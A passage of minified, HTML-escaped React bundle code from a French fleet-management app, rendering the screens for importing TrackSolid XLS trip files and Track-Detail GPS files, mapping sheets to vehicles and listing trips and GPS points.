text-primary&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:r.name}),a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[(r.size/1024/1024).toFixed(2),&quot; MB&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsx(ge,{onClick:d,disabled:i.isPending,className:&quot;flex-1&quot;,children:i.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Import en cours...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Importer&quot;]})}),a.jsx(ge,{onClick:u,variant:&quot;outline&quot;,disabled:i.isPending,children:&quot;Annuler&quot;})]})]}):a.jsxs(&quot;div&quot;,{onDragEnter:o,onDragLeave:o,onDragOver:o,onDrop:l,className:`
              border-2 border-dashed rounded-lg p-12 text-center transition-colors
              ${e?&quot;border-primary bg-primary/5&quot;:&quot;border-muted-foreground/25&quot;}
              hover:border-primary/50 cursor-pointer
            `,children:[a.jsx(&quot;input&quot;,{type:&quot;file&quot;,id:&quot;file-upload&quot;,accept:&quot;.xls,.xlsx&quot;,onChange:c,className:&quot;hidden&quot;}),a.jsxs(&quot;label&quot;,{htmlFor:&quot;file-upload&quot;,className:&quot;cursor-pointer&quot;,children:[a.jsx(Z3,{className:&quot;h-12 w-12 mx-auto mb-4 text-muted-foreground&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;Glissez-déposez un fichier XLS ici&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-4&quot;,children:&quot;ou cliquez pour sélectionner un fichier&quot;}),a.jsxs(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Sélectionner un fichier&quot;]})]})]}),i.isSuccess&amp;&amp;i.data&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;p-4 bg-green-50 dark:bg-green-950 border border-green-200 dark:border-green-800 rounded-lg&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(na,{className:&quot;h-5 w-5 text-green-600 dark:text-green-400 mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-green-900 dark:text-green-100 mb-2&quot;,children:&quot;Import réussi !&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1 text-sm text-green-800 dark:text-green-200&quot;,children:[a.jsxs(&quot;p&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Fichier :&quot;}),&quot; &quot;,i.data.import.fileName]}),a.jsxs(&quot;p&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Date d&#039;import :&quot;}),&quot; &quot;,Wr(new Date(i.data.import.createdAt),&quot;PPpp&quot;,{locale:Hr})]}),a.jsxs(&quot;p&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Trajets détectés :&quot;}),&quot; &quot;,a.jsx(yt,{variant:&quot;secondary&quot;,children:i.data.stats.tripCount})]}),a.jsxs(&quot;p&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Feuilles détectées :&quot;}),&quot; &quot;,a.jsx(yt,{variant:&quot;secondary&quot;,children:i.data.stats.sheetCount})]}),i.data.stats.sheets.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium mb-1&quot;,children:&quot;Feuilles :&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex flex-wrap gap-1&quot;,children:i.data.stats.sheets.map((h,p)=&gt;a.jsxs(yt,{variant:&quot;outline&quot;,children:[h.name,&quot; (&quot;,h.tripCount,&quot; trajets)&quot;]},p))})]})]})]})]})}),i.isError&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;p-4 bg-red-50 dark:bg-red-950 border border-red-200 dark:border-red-800 rounded-lg&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(U1,{className:&quot;h-5 w-5 text-red-600 dark:text-red-400 mt-0.5&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-red-900 dark:text-red-100 mb-1&quot;,children:&quot;Erreur lors de l&#039;import&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-800 dark:text-red-200&quot;,children:i.error instanceof Error?i.error.message:&quot;Une erreur est survenue&quot;})]})]})})]})]})}function Lqe(){const{data:e=[],isLoading:t}=Ene(),{data:r=[]}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:n=[],isLoading:i}=Qqe(),s=Fqe(),{toast:o}=Er(),{data:l=[]}=cr({queryKey:[&quot;/api/tracksolid/all-trips-for-mapping&quot;,e.map(j=&gt;j.id)],queryFn:async()=&gt;{if(e.length===0)return[];const j=e.map(S=&gt;wne(S.id));return(await Promise.all(j)).flat()},enabled:e.length&gt;0}),c=Array.from(new Set(l.map(j=&gt;j.vehicleExternalName))),[d,u]=I.useState({}),[h,p]=I.useState(!1);I.useEffect(()=&gt;{if(!h&amp;&amp;c.length&gt;0){const j={};c.forEach(E=&gt;{j[E]=null}),n.forEach(E=&gt;{j[E.externalName]=E.vehicleId??null}),u(j),p(!0)}else h&amp;&amp;u(j=&gt;{const E={...j};let S=!1;return c.forEach(_=&gt;{_ in E||(E[_]=null,S=!0)}),S?E:j})},[c.join(&quot;,&quot;),h]);const A=Array.from(new Set([...n.map(j=&gt;j.externalName),...c])),y=(j,E)=&gt;{const S=E===&quot;none&quot;?null:parseInt(E,10);u(_=&gt;({..._,[j]:S}))},v=j=&gt;{const E=d[j];return E==null?&quot;none&quot;:String(E)},w=async()=&gt;{try{await Promise.all(Object.entries(d).map(([j,E])=&gt;s.mutateAsync({externalName:j,vehicleId:E}))),o({title:&quot;Mappings enregistrés&quot;,description:&quot;Les mappings ont été enregistrés avec succès&quot;})}catch{}};return t||i?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})}):A.length===0?a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Mapper les feuilles aux véhicules&quot;}),a.jsx(wn,{children:&quot;Associez les identifiants TrackSolid aux véhicules de votre parc&quot;})]}),a.jsx(Et,{children:a.jsxs(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:[a.jsx(&quot;p&quot;,{children:&quot;Aucune feuille TrackSolid détectée.&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm mt-2&quot;,children:&quot;Importez d&#039;abord un fichier XLS TrackSolid.&quot;})]})})]}):a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Mapper les feuilles aux véhicules&quot;}),a.jsx(wn,{children:&quot;Associez les identifiants TrackSolid (noms de feuilles) aux véhicules de votre parc. Cela permettra de lier automatiquement les trajets TrackSolid aux voyages Parc&#039;App.&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:A.map(j=&gt;{const E=v(j);return a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4 p-4 border rounded-lg&quot;,children:[a.jsx(Fa,{className:&quot;h-5 w-5 text-muted-foreground&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium truncate&quot;,children:j}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Identifiant TrackSolid&quot;})]}),a.jsxs(rn,{value:E,onValueChange:S=&gt;y(j,S),children:[a.jsx(Xr,{className:&quot;w-[250px]&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un véhicule&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Aucun véhicule&quot;}),r.map(S=&gt;a.jsx(Qt,{value:S.id.toString(),children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[S.photoUrl&amp;&amp;a.jsx(&quot;img&quot;,{src:Sr(S.photoUrl)||void 0,alt:S.immatriculation,className:&quot;h-6 w-6 rounded object-cover&quot;}),a.jsx(&quot;span&quot;,{children:S.immatriculation}),S.nom&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:S.nom})]})},S.id))]})]},`select-${j}-${E}`)]},j)})}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-end pt-4 border-t&quot;,children:a.jsx(ge,{onClick:w,disabled:s.isPending,children:s.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Enregistrement...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(A4,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Enregistrer le mapping&quot;]})})})]})]})}function Mqe(){const{data:e=[],isLoading:t}=Ene(),[r,n]=I.useState(e[0]?.id??null),[i,s]=I.useState(&quot;all&quot;),{data:o=[],isLoading:l}=Pqe(r,i!==&quot;all&quot;?i:void 0),c=Array.from(new Set(o.map(d=&gt;d.vehicleExternalName)));return t?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})}):e.length===0?a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Aperçu des trajets TrackSolid&quot;}),a.jsx(wn,{children:&quot;Consultez les trajets importés depuis TrackSolidPro&quot;})]}),a.jsx(Et,{children:a.jsxs(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:[a.jsx(&quot;p&quot;,{children:&quot;Aucun import disponible.&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm mt-2&quot;,children:&quot;Importez d&#039;abord un fichier XLS TrackSolid.&quot;})]})})]}):a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Aperçu des trajets TrackSolid&quot;}),a.jsx(wn,{children:&quot;Consultez les trajets importés depuis TrackSolidPro. Vous pouvez filtrer par import et par véhicule.&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex gap-4 flex-wrap&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-[200px]&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium mb-2 block&quot;,children:&quot;Import&quot;}),a.jsxs(rn,{value:r?.toString()??&quot;&quot;,onValueChange:d=&gt;n(parseInt(d)),children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Sélectionner un import&quot;})}),a.jsx(en,{children:e.map(d=&gt;a.jsxs(Qt,{value:d.id.toString(),children:[d.fileName,&quot; (&quot;,d.tripCount,&quot; trajets)&quot;]},d.id))})]})]}),r&amp;&amp;c.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-[200px]&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium mb-2 block&quot;,children:&quot;Véhicule&quot;}),a.jsxs(rn,{value:i,onValueChange:s,children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Tous les véhicules&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;all&quot;,children:&quot;Tous les véhicules&quot;}),c.map(d=&gt;a.jsx(Qt,{value:d,children:d},d))]})]})]})]}),l?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):o.length===0?a.jsx(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucun trajet trouvé pour cet import.&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;border rounded-lg overflow-hidden&quot;,children:a.jsxs(nx,{children:[a.jsx(ix,{children:a.jsxs(n0,{children:[a.jsx(bi,{children:&quot;Véhicule&quot;}),a.jsx(bi,{children:&quot;Départ&quot;}),a.jsx(bi,{children:&quot;Arrivée&quot;}),a.jsx(bi,{children:&quot;Lieu départ&quot;}),a.jsx(bi,{children:&quot;Lieu arrivée&quot;}),a.jsx(bi,{children:&quot;Distance&quot;}),a.jsx(bi,{children:&quot;Durée&quot;}),a.jsx(bi,{children:&quot;Vitesse moy.&quot;})]})}),a.jsx(ax,{children:o.map(d=&gt;a.jsxs(n0,{children:[a.jsx(mi,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,children:d.vehicleExternalName}),d.vehiclePlateGuess&amp;&amp;a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:d.vehiclePlateGuess})]})}),a.jsx(mi,{children:d.startAt?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),Wr(new Date(d.startAt),&quot;dd/MM/yyyy HH:mm&quot;,{locale:Hr})]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:d.endAt?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),Wr(new Date(d.endAt),&quot;dd/MM/yyyy HH:mm&quot;,{locale:Hr})]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:d.startLocation?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(ei,{className:&quot;h-3 w-3&quot;}),d.startLocation]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:d.endLocation?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(ei,{className:&quot;h-3 w-3&quot;}),d.endLocation]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:d.distanceKm!==null?a.jsxs(&quot;span&quot;,{className:&quot;font-medium&quot;,children:[d.distanceKm.toFixed(1),&quot; km&quot;]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:d.durationMinutes!==null?a.jsxs(&quot;span&quot;,{className:&quot;text-sm&quot;,children:[Math.floor(d.durationMinutes/60),&quot;h&quot;,(d.durationMinutes%60).toString().padStart(2,&quot;0&quot;)]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})}),a.jsx(mi,{children:d.avgSpeedKmh!==null?a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-sm&quot;,children:[a.jsx(L6,{className:&quot;h-3 w-3&quot;}),d.avgSpeedKmh.toFixed(0),&quot; km/h&quot;]}):a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;-&quot;})})]},d.id))})]})}),o.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:[o.length,&quot; trajet&quot;,o.length&gt;1?&quot;s&quot;:&quot;&quot;,&quot; affiché&quot;,o.length&gt;1?&quot;s&quot;:&quot;&quot;]})]})]})}function Uqe(){const[e,t]=I.useState(!1),[r,n]=I.useState(null),[i,s]=I.useState(null),[o,l]=I.useState(!1),[c,d]=I.useState(null),{toast:u}=Er(),{data:h=[],isLoading:p}=cr({queryKey:[&quot;/api/vehicles&quot;]}),A=I.useCallback(E=&gt;{E.preventDefault(),E.stopPropagation(),E.type===&quot;dragenter&quot;||E.type===&quot;dragover&quot;?t(!0):E.type===&quot;dragleave&quot;&amp;&amp;t(!1)},[]),y=I.useCallback(E=&gt;{if(E.preventDefault(),E.stopPropagation(),t(!1),E.dataTransfer.files&amp;&amp;E.dataTransfer.files[0]){const S=E.dataTransfer.files[0];S.name.endsWith(&quot;.xls&quot;)||S.name.endsWith(&quot;.xlsx&quot;)?n(S):u({title:&quot;Format invalide&quot;,description:&quot;Seuls les fichiers .xls et .xlsx sont acceptés&quot;,variant:&quot;destructive&quot;})}},[u]),v=I.useCallback(E=&gt;{if(E.target.files&amp;&amp;E.target.files[0]){const S=E.target.files[0];S.name.endsWith(&quot;.xls&quot;)||S.name.endsWith(&quot;.xlsx&quot;)?n(S):u({title:&quot;Format invalide&quot;,description:&quot;Seuls les fichiers .xls et .xlsx sont acceptés&quot;,variant:&quot;destructive&quot;})}},[u]),w=async()=&gt;{if(r){if(!i){u({title:&quot;Véhicule requis&quot;,description:&quot;Veuillez sélectionner un véhicule&quot;,variant:&quot;destructive&quot;});return}l(!0),d(null);try{const E=new FormData;E.append(&quot;file&quot;,r),E.append(&quot;vehicleId&quot;,String(i));const S=await fetch(&quot;/api/tracksolid/track-detail/import&quot;,{method:&quot;POST&quot;,body:E});if(!S.ok){const C=await S.json();throw new Error(C.message||&quot;Erreur lors de l&#039;import&quot;)}const _=await S.json();d(_),n(null),s(null),u({title:&quot;Import réussi&quot;,description:`${_.insertedRows} points GPS importés avec succès`,variant:&quot;default&quot;})}catch(E){console.error(&quot;Erreur import Track-Detail:&quot;,E),u({title:&quot;Erreur d&#039;import&quot;,description:E instanceof Error?E.message:&quot;Une erreur est survenue&quot;,variant:&quot;destructive&quot;})}finally{l(!1)}}},j=()=&gt;{n(null),s(null),d(null)};return a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5&quot;}),&quot;Importer un fichier Track-Detail&quot;]}),a.jsx(wn,{children:&quot;Importez un fichier Excel Track-Detail (un fichier par camion) contenant les points GPS détaillés. Les points seront associés au véhicule sélectionné.&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Véhicule&quot;}),a.jsxs(rn,{value:i?String(i):void 0,onValueChange:E=&gt;s(parseInt(E)),disabled:p||o,children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Sélectionner un véhicule&quot;})}),a.jsx(en,{children:h.map(E=&gt;a.jsxs(Qt,{value:String(E.id),children:[E.immatriculation,&quot; &quot;,E.marque&amp;&amp;`- ${E.marque}`]},E.id))})]})]}),r?a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 p-4 border rounded-lg bg-muted/50&quot;,children:[a.jsx(Z3,{className:&quot;h-8 w-8 text-primary&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:r.name}),a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[(r.size/1024).toFixed(2),&quot; KB&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex gap-2&quot;,children:[a.jsx(ge,{onClick:w,disabled:!i||o,className:&quot;flex-1&quot;,children:o?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Import en cours...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Importer&quot;]})}),a.jsx(ge,{variant:&quot;outline&quot;,onClick:j,disabled:o,children:&quot;Annuler&quot;})]})]}):a.jsxs(&quot;div&quot;,{onDragEnter:A,onDragLeave:A,onDragOver:A,onDrop:y,className:`
              border-2 border-dashed rounded-lg p-12 text-center transition-colors
              ${e?&quot;border-primary bg-primary/5&quot;:&quot;border-muted-foreground/25&quot;}
              hover:border-primary/50 cursor-pointer
            `,children:[a.jsx(&quot;input&quot;,{type:&quot;file&quot;,id:&quot;track-detail-file-input&quot;,accept:&quot;.xls,.xlsx&quot;,onChange:v,className:&quot;hidden&quot;}),a.jsxs(&quot;label&quot;,{htmlFor:&quot;track-detail-file-input&quot;,className:&quot;cursor-pointer&quot;,children:[a.jsx(ja,{className:&quot;h-12 w-12 mx-auto mb-4 text-muted-foreground&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-lg font-medium mb-2&quot;,children:&quot;Glissez-déposez un fichier Track-Detail ici&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground mb-4&quot;,children:&quot;ou cliquez pour sélectionner un fichier&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Formats acceptés: .xls, .xlsx&quot;})]})]}),c&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-6 p-4 border rounded-lg bg-muted/30 space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(na,{className:&quot;h-5 w-5 text-green-600&quot;}),a.jsx(&quot;h3&quot;,{className:&quot;font-semibold&quot;,children:&quot;Import terminé&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-3 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Véhicule:&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:c.vehicleName})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Fichier:&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium truncate&quot;,children:c.sourceFile})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Feuille:&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:c.sheetName})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Lignes totales:&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:c.totalRows})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Lignes parsées:&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:c.parsedRows})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Points insérés:&quot;}),a.jsx(yt,{variant:&quot;default&quot;,className:&quot;ml-2&quot;,children:c.insertedRows})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Lignes ignorées:&quot;}),a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;ml-2&quot;,children:c.skippedRows})]})]}),c.errors.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;mt-3&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-medium text-destructive mb-2&quot;,children:[&quot;Erreurs (&quot;,c.errors.length,&quot;):&quot;]}),a.jsx(&quot;div&quot;,{className:&quot;max-h-32 overflow-y-auto space-y-1 text-xs&quot;,children:c.errors.map((E,S)=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-2 text-muted-foreground&quot;,children:[a.jsx(U1,{className:&quot;h-3 w-3 mt-0.5 text-destructive&quot;}),a.jsxs(&quot;span&quot;,{children:[&quot;Ligne &quot;,E.row,&quot;: &quot;,E.message]})]},S))})]})]})]})]})}async function zqe(e={}){const t=new URLSearchParams;e.vehicleId&amp;&amp;t.append(&quot;vehicleId&quot;,String(e.vehicleId)),e.startDate&amp;&amp;t.append(&quot;startDate&quot;,e.startDate),e.endDate&amp;&amp;t.append(&quot;endDate&quot;,e.endDate),e.limit&amp;&amp;t.append(&quot;limit&quot;,String(e.limit));const r=`/api/track-points${t.toString()?`?${t.toString()}`:&quot;&quot;}`;return await $t(r)}function $qe(e={}){return cr({queryKey:[&quot;/api/track-points&quot;,e],queryFn:()=&gt;zqe(e),enabled:e.vehicleId!==void 0})}function Hqe(){const[e,t]=I.useState(null),[r,n]=I.useState(&quot;&quot;),[i,s]=I.useState(&quot;&quot;),[o,l]=I.useState(1e3),{data:c=[],isLoading:d}=cr({queryKey:[&quot;/api/vehicles&quot;]}),{data:u=[],isLoading:h}=$qe({vehicleId:e??void 0,startDate:r||void 0,endDate:i||void 0,limit:o}),p={total:u.length,withSpeed:u.filter(A=&gt;A.speedKmh!==null).length,moving:u.filter(A=&gt;A.moving===!0?!0:A.moving===!1?!1:A.speedKmh!==null&amp;&amp;A.speedKmh&gt;3).length,dateRange:u.length&gt;0?{start:u[0]?.ts,end:u[u.length-1]?.ts}:null};return d?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})}):c.length===0?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12 text-center&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun véhicule disponible&quot;})})}):a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-5 w-5&quot;}),&quot;Points GPS Track-Detail&quot;]}),a.jsx(wn,{children:&quot;Visualisez les points GPS importés depuis les fichiers Track-Detail&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-4 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Véhicule&quot;}),a.jsxs(rn,{value:e?String(e):void 0,onValueChange:A=&gt;t(A?parseInt(A):null),children:[a.jsx(Xr,{children:a.jsx(nn,{placeholder:&quot;Sélectionner un véhicule&quot;})}),a.jsx(en,{children:c.map(A=&gt;a.jsxs(Qt,{value:String(A.id),children:[A.immatriculation,&quot; &quot;,A.marque&amp;&amp;`- ${A.marque}`]},A.id))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Date début&quot;}),a.jsx(Xe,{type:&quot;date&quot;,value:r,onChange:A=&gt;n(A.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Date fin&quot;}),a.jsx(Xe,{type:&quot;date&quot;,value:i,onChange:A=&gt;s(A.target.value)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;label&quot;,{className:&quot;text-sm font-medium&quot;,children:&quot;Limite&quot;}),a.jsx(Xe,{type:&quot;number&quot;,value:o,onChange:A=&gt;l(parseInt(A.target.value)||1e3),min:1,max:1e4})]})]}),e&amp;&amp;p.total&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 md:grid-cols-3 gap-4&quot;,children:[a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;text-2xl font-bold&quot;,children:p.total}),a.jsx(&quot;div&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Points total&quot;})]})}),a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;text-2xl font-bold&quot;,children:p.withSpeed}),a.jsx(&quot;div&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Avec vitesse&quot;})]})}),a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;text-sm font-bold&quot;,children:p.dateRange?.start?Wr(new Date(p.dateRange.start),&quot;dd/MM/yyyy&quot;,{locale:Hr}):&quot;-&quot;}),a.jsx(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Période&quot;}),a.jsx(&quot;div&quot;,{className:&quot;text-sm font-bold&quot;,children:p.dateRange?.end?Wr(new Date(p.dateRange.end),&quot;dd/MM/yyyy&quot;,{locale:Hr}):&quot;-&quot;})]})})]}),e?h?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})})})}):u.length===0?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12 